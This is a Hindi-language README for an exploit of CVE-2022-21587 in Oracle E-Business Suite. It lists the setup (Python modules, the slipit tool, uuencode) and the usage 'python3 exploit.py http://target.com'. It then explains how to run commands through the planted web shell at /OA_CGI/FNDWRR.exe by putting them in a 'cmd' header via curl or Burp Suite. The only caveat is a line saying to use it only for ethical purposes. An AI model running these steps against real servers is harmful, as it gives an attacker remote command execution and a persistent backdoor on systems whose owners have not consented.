CVE-2022-21587-Oracle-EBS-

इस एक्सप्लॉइट को चलाने के लिए पूर्व-आवश्यकताएँ:

• python3 मॉड्यूल सहित (requests, os, sys, slipit)
• uuencode

चलाने से पहले, सुनिश्चित करें कि इसका उपयोग केवल नैतिक कर्तव्यों के लिए करें

यदि एक्सप्लॉइट चलने में विफल हो:

• सुनिश्चित करें कि आपने पूर्व-आवश्यक मॉड्यूल पहले से स्थापित कर लिए हैं

install requests

• pip3 install requests

• slipit स्थापित करें, git clone https://github.com/usdAG/slipit

  • cd slipit
  • python3 setup.py sdist
  • pip3 install --user dist/* OR python3 -m pip install --user dist/*

• uuencode स्थापित करें

  • sudo apt install sharutils

• उपयोग : python3 exploit.py http://target.com

  • तब शेल पॉप अप होगा या आप curl या वेब प्रॉक्सी टूल्स (burpsuite) का उपयोग करके भी शेल को निष्पादित कर सकते हैं
  • curl का उपयोग करके : curl -k https://target/OA_CGI/FNDWRR.exe -H 'cmd: whoami'
  • burpsuite का उपयोग करके: बस हेडर अनुरोध में cmd जोड़ें और कोई भी bash पेलोड जिसे आप निष्पादित करना चाहते हैं